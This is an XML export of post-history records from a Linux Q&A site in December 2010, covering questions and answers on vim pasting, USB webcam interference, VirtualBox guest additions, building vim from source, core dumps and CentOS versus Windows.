  <row Id="11162" PostHistoryTypeId="1" PostId="5056" RevisionGUID="5182c293-8b50-4c19-bc4d-8a4adac4d3e2" CreationDate="2010-12-21T18:08:01.263" UserId="576" Text="cursor position after pasting in vi / vim" />
  <row Id="11163" PostHistoryTypeId="3" PostId="5056" RevisionGUID="5182c293-8b50-4c19-bc4d-8a4adac4d3e2" CreationDate="2010-12-21T18:08:01.263" UserId="576" Text="évimàévià" />
  <row Id="11164" PostHistoryTypeId="2" PostId="5057" RevisionGUID="8453d6d7-9c34-4262-9561-0ff180dc5059" CreationDate="2010-12-21T18:08:19.583" UserId="1974" Text="I am using the [Motion](http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome) package for linux to act as a security system with two Microsoft LifeCam HD-5000 webcams. In general it's working very well but I'm experiencing a weird issue. Every now and then the feed from one cam will exhibit &quot;crosstalk&quot; or &quot;crossover&quot; from the other cam, in sweeping bars, best described in this image (highlighted in red):&#xD;&#xA;&#xD;&#xA;![WTF?][1]&#xD;&#xA;&#xD;&#xA;As you can see, the image is a mixed mess of the inside and the outside camera feeds. I believe [this article from Motion's wiki](http://www.lavrsen.dk/foswiki/bin/view/Motion/SupportQuestion2009x05x28x183617) is describing the same issue, however there is no solution there besides:&#xD;&#xA;&#xD;&#xA;&gt; If you need more than 1 USB camera add extra USB PCI cards to your computer&#xD;&#xA;&#xD;&#xA;However that is talking about USB 1.1, and these are USB 2.0 cameras. Also, I do believe this system has two UCB cards and that the cameras are connected to two different USB busses:&#xD;&#xA;&#xD;&#xA;    root@chef:~# lsusb -t&#xD;&#xA;    /:  Bus 02.Port 1: Dev 1, Class=root_hub, Driver=ehci_hcd/2p, 480M&#xD;&#xA;        |__ Port 1: Dev 2, If 0, Class=hub, Driver=hub/8p, 480M&#xD;&#xA;            |__ Port 2: Dev 3, If 0, Class=stor., Driver=usbfs, 480M&#xD;&#xA;            |__ Port 3: Dev 4, If 0, Class='bInterfaceClass 0x0e not yet handled', Driver=uvcvideo, 480M&#xD;&#xA;            |__ Port 3: Dev 4, If 1, Class='bInterfaceClass 0x0e not yet handled', Driver=uvcvideo, 480M&#xD;&#xA;            |__ Port 3: Dev 4, If 2, Class=audio, Driver=snd-usb-audio, 480M&#xD;&#xA;            |__ Port 3: Dev 4, If 3, Class=audio, Driver=snd-usb-audio, 480M&#xD;&#xA;    /:  Bus 01.Port 1: Dev 1, Class=root_hub, Driver=ehci_hcd/2p, 480M&#xD;&#xA;        |__ Port 1: Dev 2, If 0, Class=hub, Driver=hub/6p, 480M&#xD;&#xA;            |__ Port 2: Dev 3, If 0, Class=HID, Driver=usbhid, 12M&#xD;&#xA;            |__ Port 3: Dev 4, If 0, Class=HID, Driver=usbhid, 1.5M&#xD;&#xA;            |__ Port 4: Dev 5, If 0, Class='bInterfaceClass 0x0e not yet handled', Driver=uvcvideo, 480M&#xD;&#xA;            |__ Port 4: Dev 5, If 1, Class='bInterfaceClass 0x0e not yet handled', Driver=uvcvideo, 480M&#xD;&#xA;            |__ Port 4: Dev 5, If 2, Class=audio, Driver=snd-usb-audio, 480M&#xD;&#xA;            |__ Port 4: Dev 5, If 3, Class=audio, Driver=snd-usb-audio, 480M&#xD;&#xA;    root@chef:~# lspci&#xD;&#xA;    00:00.0 Host bridge: Intel Corporation Core Processor DRAM Controller (rev 12)&#xD;&#xA;    00:02.0 VGA compatible controller: Intel Corporation Core Processor Integrated Graphics Controller (rev 12)&#xD;&#xA;    00:16.0 Communication controller: Intel Corporation 5 Series/3400 Series Chipset HECI Controller (rev 06)&#xD;&#xA;    00:1a.0 USB Controller: Intel Corporation 5 Series/3400 Series Chipset USB2 Enhanced Host Controller (rev 06)&#xD;&#xA;    00:1b.0 Audio device: Intel Corporation 5 Series/3400 Series Chipset High Definition Audio (rev 06)&#xD;&#xA;    00:1c.0 PCI bridge: Intel Corporation 5 Series/3400 Series Chipset PCI Express Root Port 1 (rev 06)&#xD;&#xA;    00:1c.5 PCI bridge: Intel Corporation 5 Series/3400 Series Chipset PCI Express Root Port 6 (rev 06)&#xD;&#xA;    00:1d.0 USB Controller: Intel Corporation 5 Series/3400 Series Chipset USB2 Enhanced Host Controller (rev 06)&#xD;&#xA;    00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev a6)&#xD;&#xA;    00:1f.0 ISA bridge: Intel Corporation 5 Series Chipset LPC Interface Controller (rev 06)&#xD;&#xA;    00:1f.2 IDE interface: Intel Corporation 5 Series/3400 Series Chipset 4 port SATA IDE Controller (rev 06)&#xD;&#xA;    00:1f.3 SMBus: Intel Corporation 5 Series/3400 Series Chipset SMBus Controller (rev 06)&#xD;&#xA;    01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 01)&#xD;&#xA;    02:00.0 Ethernet controller: Broadcom Corporation NetLink BCM57788 Gigabit Ethernet PCIe (rev 01)&#xD;&#xA;&#xD;&#xA;So my questions are:&#xD;&#xA;&#xD;&#xA; 1. Does anyone know what could cause crossover like this?&#xD;&#xA; 1. Any other troubleshooting suggestions?&#xD;&#xA; 1. I am guessing I will need to ask the developers of Motion for support, so before I do, can anyone confirm that I do have the cameras connected to two different PCI cards as they suggested?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/yBnHJ.png" />
  <row Id="11165" PostHistoryTypeId="1" PostId="5057" RevisionGUID="8453d6d7-9c34-4262-9561-0ff180dc5059" CreationDate="2010-12-21T18:08:19.583" UserId="1974" Text="What would cause &quot;crossover&quot; between two USB2 webcams when using motion?" />
  <row Id="11166" PostHistoryTypeId="3" PostId="5057" RevisionGUID="8453d6d7-9c34-4262-9561-0ff180dc5059" CreationDate="2010-12-21T18:08:19.583" UserId="1974" Text="éusbàéwebcamàépciàémotionàétroubleshootingà" />
  <row Id="11167" PostHistoryTypeId="5" PostId="5055" RevisionGUID="290a097b-9482-4aee-910e-59b5295dc6e5" CreationDate="2010-12-21T18:08:35.303" UserId="1207" Comment="i've changed the example to actually match the refered to post." Text="After reading [this answer][1] about a zsh feature:&#xD;&#xA;&#xD;&#xA;&gt; If a given extension has a suffix&#xD;&#xA;&gt; alias, you can execute a file with&#xD;&#xA;&gt; that extention directly, and ZSH will&#xD;&#xA;&gt; launch the given program and pass the&#xD;&#xA;&gt; filename as an argument.&#xD;&#xA;&#xD;&#xA;Is there something similar to bash? So doing&#xD;&#xA;&#xD;&#xA;&gt; program /path/to/foo.ext&#xD;&#xA;&gt;&#xD;&#xA;&gt; /path/to/foo.ext&#xD;&#xA;&#xD;&#xA;would equivalent, like in zsh feature in the provided link?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks/221#221" />
  <row Id="11168" PostHistoryTypeId="2" PostId="5058" RevisionGUID="904e1982-f036-4b25-b9f1-aa908eb9e0f0" CreationDate="2010-12-21T18:36:04.513" UserId="2049" Text="I'm setting up a developmental server with virutalbox.  I've installed Ubuntu 10.10 Server.  I want to use filesharing to setup the files that I need to develop on but it seems that the cd drive is not mounting to install the virtualbox guest additions.  How can I configure this to setup the file sharing." />
  <row Id="11169" PostHistoryTypeId="1" PostId="5058" RevisionGUID="904e1982-f036-4b25-b9f1-aa908eb9e0f0" CreationDate="2010-12-21T18:36:04.513" UserId="2049" Text="Guest Additions in VirtualBox" />
  <row Id="11170" PostHistoryTypeId="3" PostId="5058" RevisionGUID="904e1982-f036-4b25-b9f1-aa908eb9e0f0" CreationDate="2010-12-21T18:36:04.513" UserId="2049" Text="éubuntuàévirtualömachineà" />
  <row Id="11171" PostHistoryTypeId="2" PostId="5059" RevisionGUID="4d74501b-ece8-4978-80a4-7399d521f9f2" CreationDate="2010-12-21T19:06:37.127" UserId="885" Text="If you have Ubuntu in a VirtualBox VM, you can install the guest additions as an Ubuntu package. Either grab [virtualbox-guest-additions](http://packages.ubuntu.com/virtualbox-guest-additions) [![Install virtualbox-guest-additions](http://bit.ly/software-small)](http://apt.ubuntu.com/p/virtualbox-guest-additions) or [virtualbox-ose-guest-utils](http://packages.ubuntu.com/virtualbox-ose-guest-utils) [![Install virtualbox-ose-guest-utils](http://bit.ly/software-small)](http://apt.ubuntu.com/p/virtualbox-ose-guest-utils) and [virtualbox-ose-guest-x11](http://packages.ubuntu.com/virtualbox-ose-guest-x11) [![Install virtualbox-ose-guest-x11](http://bit.ly/software-small)](http://apt.ubuntu.com/p/virtualbox-ose-guest-x11). The OSE guest utilities are compatible with the proprietary VM and vice versa (at least with respect to common features such as file sharing and pointer grabbing).&#xD;&#xA;" />
  <row Id="11172" PostHistoryTypeId="6" PostId="5058" RevisionGUID="b205972f-686b-4ab3-9f68-442d8d24114b" CreationDate="2010-12-21T19:08:02.087" UserId="885" Comment="edited tags" Text="éubuntuàévirtualboxà" />
  <row Id="11173" PostHistoryTypeId="6" PostId="607" RevisionGUID="4adf4b15-2234-4f5e-bd4d-a5fdf951b3be" CreationDate="2010-12-21T19:10:05.130" UserId="885" Comment="edited tags" Text="évirtualömachineàédistributionöchoiceàévirtualboxà" />
  <row Id="11174" PostHistoryTypeId="6" PostId="3889" RevisionGUID="34b66a55-fb10-41d2-b970-87c6bf266dd2" CreationDate="2010-12-21T19:10:22.257" UserId="885" Comment="edited tags" Text="édebianàévirtualboxà" />
  <row Id="11175" PostHistoryTypeId="6" PostId="1594" RevisionGUID="62348f5e-705f-4b5f-b038-62484aa4531c" CreationDate="2010-12-21T19:11:40.387" UserId="885" Comment="edited tags" Text="élinuxàévirtualömachineàékvmàéxenà" />
  <row Id="11176" PostHistoryTypeId="4" PostId="5055" RevisionGUID="a399be79-98ca-4601-8acb-40021f7cdc5f" CreationDate="2010-12-21T19:29:04.430" UserId="2689" Comment="edited title" Text="If a given file has an extension, how to directly execute that file, automatically launching a program just by calling the file's name in bash?" />
  <row Id="11177" PostHistoryTypeId="2" PostId="5060" RevisionGUID="45aaae6f-c3dc-4d64-a7f1-88804db73908" CreationDate="2010-12-21T19:37:47.150" UserId="3088" Text="I'm pretty sure this is by design.  If you paste using &quot;p&quot; (lower case P), it's supposed to paste *after* the current position or line.  However, if you paste using &quot;P&quot; (capital P), then it pastes *before* the current position or line.  If your desired behavior is to have the cursor be at the end of your newly pasted text, try getting in the habit of using &quot;P&quot; instead of &quot;p&quot;.&#xD;&#xA;&#xD;&#xA;I bet if you dug deep enough, you could find a vim recipe to put in your .vimrc that would always move the cursor to the end of your paste, even if you use &quot;p&quot;." />
  <row Id="11178" PostHistoryTypeId="2" PostId="5061" RevisionGUID="a5aac4bc-4e3a-4a5d-8e9e-0c889cb006af" CreationDate="2010-12-21T19:41:11.730" UserId="885" Text="In vim, use `gp` and `gP` instead of `p` and `P` to leave the cursor after the pasted text. If you want to swap the bindings, put the following lines in your `.vimrc`:&#xD;&#xA;&#xD;&#xA;    noremap p gp&#xD;&#xA;    noremap p gp&#xD;&#xA;    noremap gP P&#xD;&#xA;    noremap gP P&#xD;&#xA;&#xD;&#xA;Strangely, in vim, `p` and `P` leave the cursor on the last pasted character for a character buffer, even in compatible mode.&#xD;&#xA;&#xD;&#xA;I don't know how to change this in other vi versions.&#xD;&#xA;" />
  <row Id="11179" PostHistoryTypeId="5" PostId="5055" RevisionGUID="87f6d0b4-a83a-4827-881f-854ce7507009" CreationDate="2010-12-21T19:43:49.950" UserId="2689" Comment="deleted 13 characters in body; edited title" Text="After reading [this answer][1] about a zsh feature:&#xD;&#xA;&#xD;&#xA;&gt; If a given extension has a suffix&#xD;&#xA;&gt; alias, you can execute a file with&#xD;&#xA;&gt; that extention directly, and ZSH will&#xD;&#xA;&gt; launch the given program and pass the&#xD;&#xA;&gt; filename as an argument.&#xD;&#xA;&#xD;&#xA;Is there something similar to bash? So doing&#xD;&#xA;&#xD;&#xA;&gt; program /path/to/foo.ext&#xD;&#xA;&gt;&#xD;&#xA;&gt; /path/to/foo.ext&#xD;&#xA;&#xD;&#xA;would equivalent to the same [zsh feature][1]?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks/221#221" />
  <row Id="11181" PostHistoryTypeId="4" PostId="5055" RevisionGUID="87f6d0b4-a83a-4827-881f-854ce7507009" CreationDate="2010-12-21T19:43:49.950" UserId="2689" Comment="deleted 13 characters in body; edited title" Text="If a given file has an extension, how to directly execute that file, automatically launching a program just by calling the file's name (bash shell)?" />
  <row Id="11182" PostHistoryTypeId="2" PostId="5062" RevisionGUID="50b632b3-5925-46c9-90a5-1f62a726864b" CreationDate="2010-12-21T20:10:08.593" UserId="885" Text="The first place to check is if there's a [backport](https://help.ubuntu.com/community/UbuntuBackports), but [there isn't](http://packages.ubuntu.com/search?suite=lucid-backports&amp;searchon=names&amp;keywords=vim), which isn't surprising since [maverick has vim 7.2 too](http://packages.ubuntu.com/search?keywords=vim&amp;searchon=names&amp;suite=maverick).&#xD;&#xA;&#xD;&#xA;The next thing to try is if someone's put up a repository with vim 7.3 packages somewhere, preferably a [PPA](https://launchpad.net/ubuntu/+ppas). There are many [PPAs with vim](https://launchpad.net/ubuntu/+ppas?name_filter=vim), including [several](https://launchpad.net/~passy/+archive/vim) [with](https://launchpad.net/~suraia/+archive/ppa)&#xD;&#xA;[7.3](https://launchpad.net/~slaytanic/+archive/vim) (not an exhaustive list).&#xD;&#xA;&#xD;&#xA;If you don't find a binary package anywhere or don't like the ones you find, the next easiest step is to grab the source package from [natty](http://packages.ubuntu.com/natty/vim), which has vim 7.3. Download the source package (`.dsc`, `.debian.tar.gz` and `.orig.tar.gz`), then run&#xD;&#xA;&#xD;&#xA;    apt-get install build-essential fakeroot&#xD;&#xA;    apt-get build-dep vim&#xD;&#xA;    dpkg-source -x vim_7.3.035+hg~8fdc12103333-1ubuntu2.dsc&#xD;&#xA;    cd vim-7.3.035+hg~8fdc12103333&#xD;&#xA;    # Edit debian/changelog to add an entry with your name and “recompiled for lucid”&#xD;&#xA;    dpkg-buildpackage -rfakeroot -us -uc -b -nc&#xD;&#xA;&#xD;&#xA;If all goes well, you'll have binary packages for your distributions. If you run into missing dependencies or compilation errors, this has to be solved on a case-by-case basis.&#xD;&#xA;&#xD;&#xA;The next thing to try is to compile the upstream 7.3 source with the packaging from your Ubuntu version. This gives you a nice and clean package, but it's a little more involved, so if you don't feel confident in doing this without instructions I recommend you just compile the upstream source into `/usr/local` or `~/usr` or wherever.&#xD;&#xA;" />
  <row Id="11183" PostHistoryTypeId="6" PostId="5050" RevisionGUID="81193636-3da3-4151-beaf-5e883823aaa3" CreationDate="2010-12-21T20:15:30.933" UserId="885" Comment="edited tags" Text="éaudioàéalsaàéjackà" />
  <row Id="11184" PostHistoryTypeId="5" PostId="5048" RevisionGUID="c9f31d55-b506-42f9-bbb6-b68c119313bb" CreationDate="2010-12-21T21:09:04.023" UserId="2689" Comment="added 10 characters in body" Text="I have to use Ubuntu 10.04 at work, and cant upgrade it. I'm using Vim/gVim 7.2.&#xD;&#xA;&#xD;&#xA;I want to upgrade it to 7.3 (with python and ruby extensions support). Which is the best way? Add an entry in sources.lists and install a 7.3 vim/gvim package from it, or build from source? Which disadvantages I have from each approach?" />
  <row Id="11185" PostHistoryTypeId="2" PostId="5063" RevisionGUID="bdd870a8-f503-4b37-a755-b1404cadb359" CreationDate="2010-12-21T21:11:47.297" UserId="3255" Text="I have an application that I'm working on, and I'm having trouble getting a core dump when it segfaults.  In fact, I'm having trouble getting real core dump files at all.  A simple test case will generate a core dump file, but it's zero length.&#xD;&#xA;&#xD;&#xA;I've got `ulimit -c unlimited` set.  This is 64-bit Ubuntu Maverick.  Any hint what to do next?&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ ulimit -c&#xD;&#xA;    unlimited&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ cat mkcore.cpp&#xD;&#xA;    int main() { *((int *)0) = 0; }&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ g++ -g mkcore.cpp -o mkcore&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ ./mkcore &#xD;&#xA;    Segmentation fault&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ ls -l core*&#xD;&#xA;    -rw-r--r-- 1 dlee dlee 0 2010-12-21 15:00 core.2993&#xD;&#xA;" />
  <row Id="11186" PostHistoryTypeId="1" PostId="5063" RevisionGUID="bdd870a8-f503-4b37-a755-b1404cadb359" CreationDate="2010-12-21T21:11:47.297" UserId="3255" Text="How do I get a core dump file on Ubuntu Maverick?" />
  <row Id="11187" PostHistoryTypeId="3" PostId="5063" RevisionGUID="bdd870a8-f503-4b37-a755-b1404cadb359" CreationDate="2010-12-21T21:11:47.297" UserId="3255" Text="éubuntuà" />
  <row Id="11188" PostHistoryTypeId="5" PostId="5062" RevisionGUID="2e08fd75-e6c4-416b-b271-0ff080ef1f2e" CreationDate="2010-12-21T21:26:24.080" UserId="885" Comment="mention stow" Text="The first place to check is if there's a [backport](https://help.ubuntu.com/community/UbuntuBackports), but [there isn't](http://packages.ubuntu.com/search?suite=lucid-backports&amp;searchon=names&amp;keywords=vim), which isn't surprising since [maverick has vim 7.2 too](http://packages.ubuntu.com/search?keywords=vim&amp;searchon=names&amp;suite=maverick).&#xD;&#xA;&#xD;&#xA;The next thing to try is if someone's put up a repository with vim 7.3 packages somewhere, preferably a [PPA](https://launchpad.net/ubuntu/+ppas). There are many [PPAs with vim](https://launchpad.net/ubuntu/+ppas?name_filter=vim), including [several](https://launchpad.net/~passy/+archive/vim) [with](https://launchpad.net/~suraia/+archive/ppa)&#xD;&#xA;[7.3](https://launchpad.net/~slaytanic/+archive/vim) (not an exhaustive list).&#xD;&#xA;&#xD;&#xA;If you don't find a binary package anywhere or don't like the ones you find, the next easiest step is to grab the source package from [natty](http://packages.ubuntu.com/natty/vim), which has vim 7.3. Download the source package (`.dsc`, `.debian.tar.gz` and `.orig.tar.gz`), then run&#xD;&#xA;&#xD;&#xA;    apt-get install build-essential fakeroot&#xD;&#xA;    apt-get build-dep vim&#xD;&#xA;    dpkg-source -x vim_7.3.035+hg~8fdc12103333-1ubuntu2.dsc&#xD;&#xA;    cd vim-7.3.035+hg~8fdc12103333&#xD;&#xA;    # Edit debian/changelog to add an entry with your name and “recompiled for lucid”&#xD;&#xA;    dpkg-buildpackage -rfakeroot -us -uc -b -nc&#xD;&#xA;&#xD;&#xA;If all goes well, you'll have binary packages for your distributions. If you run into missing dependencies or compilation errors, this has to be solved on a case-by-case basis.&#xD;&#xA;&#xD;&#xA;The next thing to try is to compile the upstream 7.3 source with the packaging from your Ubuntu version. This gives you a nice and clean package, but it's a little more involved, so if you don't feel confident in doing this without instructions I recommend you just compile the upstream source.&#xD;&#xA;&#xD;&#xA;If you end up compiling the upstream source, by default, you'll end up with the files under `/usr/local`, and it won't be easy to uninstall them, or even to know what you have. Whenever you install something without using the package manager, I recommend installing into a separate directory structure and creating symbolic links in `/usr/local` (or `~/usr` or whatever). [Stow](http://www.gnu.org/software/stow/) is nice for that:&#xD;&#xA;&#xD;&#xA;* Install under `/usr/local/stow` (or `~/usr/stow` or wherever). With many programs, you can use something like `./configure --prefix=/usr/local/stow/vim-7.3`. This will put the main binary at `/usr/local/stow/vim-7.3/bin`, and so on.&#xD;&#xA;* Run `stow vim-7.3` from the `/usr/local/stow` directory. This creates symbolic links in the “normal” directories, e.g. `/usr/local/bin/vim -&gt; ../../stow/vim-7.3/bin/vim`.&#xD;&#xA;* If you ever want to uninstall this program, just run `stow -D vim-7.3` to remove the symbolic links, and delete `/usr/local/stow/vim-7.3`.&#xD;&#xA;&#xD;&#xA;There is also [xstow](http://xstow.sourceforge.net/) which is a similar, but more powerful programs (one of its benefits is that it can deal with conflicts).&#xD;&#xA;" />
  <row Id="11189" PostHistoryTypeId="2" PostId="5064" RevisionGUID="e020b6b2-7783-499b-addd-d824cb548ac6" CreationDate="2010-12-21T21:53:12.477" UserId="3257" Text="Hi,&#xD;&#xA;I need to get a VPS... The Supplier is providing one with CentOS at cheap rates!!!&#xD;&#xA;I am a windows user.. Please tell me:&#xD;&#xA;1. What is the difference in usage in a CentOS and Windows&#xD;&#xA;2. Do all the windows applications run on CentOS as well?&#xD;&#xA;Thanks." />
  <row Id="11190" PostHistoryTypeId="1" PostId="5064" RevisionGUID="e020b6b2-7783-499b-addd-d824cb548ac6" CreationDate="2010-12-21T21:53:12.477" UserId="3257" Text="What is the difference Between usge of CentOS and Windows?" />
  <row Id="11191" PostHistoryTypeId="3" PostId="5064" RevisionGUID="e020b6b2-7783-499b-addd-d824cb548ac6" CreationDate="2010-12-21T21:53:12.477" UserId="3257" Text="éwindowsàécentosà" />
  <row Id="11192" PostHistoryTypeId="2" PostId="5065" RevisionGUID="93c6facb-6f29-4bb2-92cf-4918306bbf15" CreationDate="2010-12-21T21:59:47.590" UserId="1974" Text="I just wanted to add that I have found a semi-convenient workaround: if the box begins shaking, you can actually click the &quot;Cancel&quot; button and it will stop the shaking and return to the screensaver -- not instantly, but it is much faster to do that (at least on my machine) than to wait for the shaking to finish. I swear that trying to retype my password when the box is shaking leads to dropped chars and thus fails a second time.&#xD;&#xA;&#xD;&#xA;Clicking &quot;Cancel&quot; and then re-opening the password box is what I've been doing ever since!" />
  <row Id="11193" PostHistoryTypeId="5" PostId="5064" RevisionGUID="368628a2-b49c-41fe-89aa-a305fb07583f" CreationDate="2010-12-21T22:00:04.163" UserId="73" Comment="deleted 6 characters in body; edited title" Text="I need a VPS, and a supplier is providing me a CentOS one at a cheap rate, but I'm a Windows user normally. I need to know:&#xD;&#xA;&#xD;&#xA;1. What is the difference in usage between CentOS and Windows?&#xD;&#xA;2. Do all Windows applications run on CentOS as well?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11194" PostHistoryTypeId="4" PostId="5064" RevisionGUID="368628a2-b49c-41fe-89aa-a305fb07583f" CreationDate="2010-12-21T22:00:04.163" UserId="73" Comment="deleted 6 characters in body; edited title" Text="What is the difference between CentOS and Windows?" />
  <row Id="11195" PostHistoryTypeId="2" PostId="5066" RevisionGUID="519eb7c5-221b-44b3-805f-cd241b6dd0fe" CreationDate="2010-12-21T22:10:10.873" UserId="1571" Text="Are you kidding? `CentOS is a community-supported, mainly free software operating system based on Red Hat Enterprise Linux`. No, Centos is not windows, CentOS is free, exactly 0 windows applications run on CentOS (without wine)." />
  <row Id="11196" PostHistoryTypeId="5" PostId="5063" RevisionGUID="7658da36-c103-4044-946e-2775aa55d015" CreationDate="2010-12-21T22:31:20.787" UserId="3255" Comment="more info; changed the question slightly" Text="I have an application that I'm working on, and I'm having trouble getting a core dump when it segfaults.  In fact, I'm having trouble getting real core dump files at all.  A simple test case will generate a core dump file, but it's zero length.&#xD;&#xA;&#xD;&#xA;I've got `ulimit -c unlimited` set.  This is 64-bit Ubuntu Maverick.  &lt;strike&gt;Any hint what to do next?&lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ ulimit -c&#xD;&#xA;    unlimited&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ cat mkcore.cpp&#xD;&#xA;    int main() { *((int *)0) = 0; }&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ g++ -g mkcore.cpp -o mkcore&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ ./mkcore &#xD;&#xA;    Segmentation fault&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ ls -l core*&#xD;&#xA;    -rw-r--r-- 1 dlee dlee 0 2010-12-21 15:00 core.2993&#xD;&#xA;&#xD;&#xA;_Edit:_ More information&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ tail -n +1 /proc/sys/kernel/core_*&#xD;&#xA;    ==&gt; /proc/sys/kernel/core_pattern &lt;==&#xD;&#xA;    core&#xD;&#xA;&#xD;&#xA;    ==&gt; /proc/sys/kernel/core_pipe_limit &lt;==&#xD;&#xA;    0&#xD;&#xA;&#xD;&#xA;    ==&gt; /proc/sys/kernel/core_uses_pid &lt;==&#xD;&#xA;    1&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ tail /var/log/kern.log&#xD;&#xA;    &lt;snip/&gt;&#xD;&#xA;    Dec 21 16:07:40 dlee-oak kernel: [  133.863045] mkcore[1589]: segfault at 0 ip 000000000040043d sp 00007fffbd025510 error 6 in mkcore[400000+aa000]&#xD;&#xA;&#xD;&#xA;I've just realized that the filesystem the core file is being generated on is a [Parallels Shared Folder][1].  (This Ubuntu instance is running on a Parallels VM on my Mac).  When I run the app from a directory that's on local disk, core file is generated as expected.&#xD;&#xA;&#xD;&#xA;So I'll change the question slightly: why isn't it generating the core file on the prl_fs filesystem?  Just curious...&#xD;&#xA;&#xD;&#xA;  [1]: http://download.parallels.com/desktop/v6/docs/en/Parallels_Desktop_Users_Guide/22907.htm" />
  <row Id="11197" PostHistoryTypeId="6" PostId="5063" RevisionGUID="7658da36-c103-4044-946e-2775aa55d015" CreationDate="2010-12-21T22:31:20.787" UserId="3255" Comment="more info; changed the question slightly" Text="éubuntuàévirtualömachineà" />
  <row Id="11198" PostHistoryTypeId="5" PostId="2651" RevisionGUID="85588b62-6e81-49dd-8b12-19d8039395db" CreationDate="2010-12-21T22:31:46.407" UserId="885" Comment="formatting" Text="Is there any way to disable the animation which occurs when attempting to unlock gnome Screensaver and failing? Currently the password dialog shakes back and forth and for some reason on some laptops, this animation causes the entire system to be unresponsive for about 5 - 7 seconds. Can be very frustrating because it increases the chances of a second, third, etc mistyped passsword.&#xD;&#xA;&#xD;&#xA;I'm currently on Fedora 11 but this issue also occurs in Ubuntu. [The Ubuntu change log][1] calls this feature &quot;Shake the dialog when authentication fails&quot;&#xD;&#xA;&#xD;&#xA;    gnome-screensaver (0.0.17-0ubuntu1) dapper; urgency=low&#xD;&#xA;&#xD;&#xA;      …    &#xD;&#xA;      * New upstream release:&#xD;&#xA;        - 0.0.16:&#xD;&#xA;          - Shake the dialog when authentication fails&#xD;&#xA;          …&#xD;&#xA;    &#xD;&#xA;     -- Daniel Holbach &lt;daniel.holbach@ubuntu.com&gt;  Mon, 24 Oct 2005 21:14:22 +0200&#xD;&#xA;&#xD;&#xA;  [1]: http://changelogs.ubuntu.com/changelogs/pool/main/g/gnome-screensaver/gnome-screensaver_2.14.3-0ubuntu1.1/changelog&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11199" PostHistoryTypeId="2" PostId="5067" RevisionGUID="410d0b71-348e-45ea-9c82-b75b21b0fb8b" CreationDate="2010-12-21T22:43:45.587" UserId="1207" Text="While I am not familiar with every feature of Bash, I do not believe this is a built-in feature of the Bash shell.  I was unable to find this feature in the relevant sections of the [Bash manual][1].&#xD;&#xA;&#xD;&#xA;You may be able to cobble something together using `trap`.  From `help trap`:&#xD;&#xA;&#xD;&#xA;&gt; Trap signals and other events.&#xD;&#xA;&gt;     &#xD;&#xA;&gt; Defines and activates handlers to be run when the shell receives signals&#xD;&#xA;&gt; or other conditions.&#xD;&#xA;&#xD;&#xA;Thus by using the command:&#xD;&#xA;&#xD;&#xA;    $ trap my_function ERR&#xD;&#xA;&#xD;&#xA;I can ensure that `my_function` is called whenever a command fails.  `my_function` could be a function that parses the previous command, looking for known extensions and calling the appropriate command based on that extension.&#xD;&#xA;&#xD;&#xA;Depending on your interest, writing such a function may be more or less interesting than moving to the z shell.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/" />
  <row Id="11200" PostHistoryTypeId="2" PostId="5068" RevisionGUID="d931d8c9-c183-4277-8708-18afdcff306d" CreationDate="2010-12-21T22:45:52.933" UserId="591" Text="Windows and CentOS are operating systems - that's pretty much where the similarity ends. CentOS will not natively run windows programs although you may be able to run some using [wine][1]. &#xD;&#xA;&#xD;&#xA;You have a steep learning curve if you got with the CentOS vps, you should probably pay the extra and get a windows vps it will likely save you lots in the long run.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://appdb.winehq.org/" />
  <row Id="11201" PostHistoryTypeId="2" PostId="5069" RevisionGUID="5261f89e-7f0e-4973-a75d-823d668c90af" CreationDate="2010-12-21T23:13:50.987" UserId="3258" Text="To the first point: [USB1.1 was a lot slower than USB2.0][3], in most cirumstances. Note that devices can still connect at the lower 1.1 speed of 12Mbps instead of the faster 480Mbps, but usually when this occurs it's either because the port is autonegotiating low or it is because one of the two devices is really 1.1. Try disconnecting and reconnecting if you experience this and are sure both are 2.0 and your OS has support for 2.0. (general advice, ya?) ~~ Anyways, that was why they recommended a new card. So that you could use the full USB1.1 speed per individual camera since the [PCI bus][2] is way faster than USB1.1. But with 2.0 that's not necessary. [dead horse flogged, going on to next topic]&#xD;&#xA;&#xD;&#xA;Now onto your device specifically. You've a Core i5 by most ostensible metrics, namely: Intel 5 / 3400 series PCH and 82801 PCI bridge. (side note: confirmed that he has a Dell Core i5) This particular PCH is also code-named [Ibex Peak][1]. You no longer have an independent southbridge (as it is my understanding) so you're possibly open to new behavior that didn't exist before. The integrated chipset now handles the USB much closer to the DMA, so I expect that the issue is EITHER with the 5/3400 chipset or that the issue is with the driver. Either are easy to test, but they do require an initial capital outlay, so that sucks.&#xD;&#xA;&#xD;&#xA;Here's my reasoning why I think it's the chipset and not the cameras or drivers: There are [known issues with the Intel PCH][4] (I'm going to quote now to save back and forth clicking:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; - USB ports hang with bulk and control&#xD;&#xA;   traffic (erratum 7 &amp; Microsoft&#xD;&#xA;   KB982091[1]) &#xD;&#xA;&gt; - Bogus USB ports will be&#xD;&#xA;   detected at desktop PCH equipped with&#xD;&#xA;   6 USB ports (3420, 